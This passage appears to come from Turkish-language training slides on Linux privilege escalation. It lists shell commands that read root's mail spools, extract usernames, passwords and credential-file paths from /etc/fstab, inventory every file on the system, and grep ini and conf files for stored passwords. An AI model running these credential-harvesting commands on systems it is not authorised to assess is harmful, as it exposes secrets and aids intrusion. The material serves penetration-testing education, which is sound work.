Mail içerikleri
cat /var/mail/root 2>/dev/null
cat /var/spool/mail/root 2>/dev/null
157. LINUX YETKİ YÜKSELTME
Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve
dosyaların incelenmesi, sistem genelinde konfigürasyon
açıklıklarının araştırılması (devamı)
Mount konfigürasyonu (mount edilmemiş dosya sistemleri olabilir mi?)
cat /etc/fstab
fstab içinde kullanıcı erişim bilgileri arama
cat /etc/fstab 2>/dev/null |grep username |awk
'{sub(/.*username=/,"");sub(/,.*/,"")}1'| xargs -r echo username:; cat
/etc/fstab 2>/dev/null |grep password |awk
'{sub(/.*password=/,"");sub(/,.*/,"")}1'| xargs -r echo password:; cat
/etc/fstab 2>/dev/null |grep domain |awk
'{sub(/.*domain=/,"");sub(/,.*/,"")}1'| xargs -r echo domain:
fstab içinde credentials dosya referansı arama
cat /etc/fstab 2>/dev/null |grep cred |awk
'{sub(/.*credentials=/,"");sub(/,.*/,"")}1'| xargs -I{} sh -c 'ls -la {};
cat {}'
158. LINUX YETKİ YÜKSELTME
Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve
dosyaların incelenmesi, sistem genelinde konfigürasyon
açıklıklarının araştırılması (devamı)
Dosya adı araştırma (örnek komutlar)
find / > dirlist-enum.txt 2>/dev/null
grep -i -E 'ini$' dirlist-enum.txt > ini-files-enum.txt
grep -i -E 'conf$|config$|cnf$' dirlist-enum.txt > conf-files-enum.txt
grep -i -E 'backup$|bck$|bak$|.old.*$' dirlist-enum.txt > backup-files-
enum.txt
159. LINUX YETKİ YÜKSELTME
Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve
dosyaların incelenmesi, sistem genelinde konfigürasyon
açıklıklarının araştırılması (devamı)
Dosya içeriklerinde ilginç veriler aranması (örnek komutlar)
ini dosyaları içinde geçen password ve username satırları
cat ini-files-enum.txt | xargs grep -i -E 'pass =|passwd =|pwd =| password
=|user =|username
=|pass=|passwd=|pwd=|password=|user=|username=|mysql_connect|mysql_select_d
b' 2>/dev/null
conf dosyaları içinde geçen password ve username satırları
cat conf-files-enum.txt | xargs grep -i -E 'pass =|passwd =|pwd =| password
=|user =|username
=|pass=|passwd=|pwd=|password=|user=|username=|mysql_connect|mysql_select_d
b' 2>/dev/null